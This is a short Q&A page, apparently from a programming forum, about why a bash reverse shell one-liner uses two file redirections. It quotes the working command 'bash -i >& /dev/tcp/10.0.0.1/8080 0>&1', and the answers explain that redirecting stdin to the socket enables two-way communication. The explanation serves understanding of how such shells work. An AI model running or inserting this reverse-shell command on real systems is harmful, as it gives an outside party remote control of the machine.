Home > Mobile >  Why are there two file redirections in the bash reverse shell?
Why are there two file redirections in the bash reverse shell?

Time:03-08

I've been trying to gain a greater understanding of how reverse shells work and I've been deciphering the bash one:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

I understand that the first redirection (>&) redirects stdout and stderr, but why is there a need for the second one?

CodePudding user response:

This redirects stdin (FD: 0) to come from the socket as well currently on stdout (FD: 1)

CodePudding user response:

It connects standard input and standard output to the same device. This allows two-way communication to the host where the shell is running.

See this article for details.

  • Related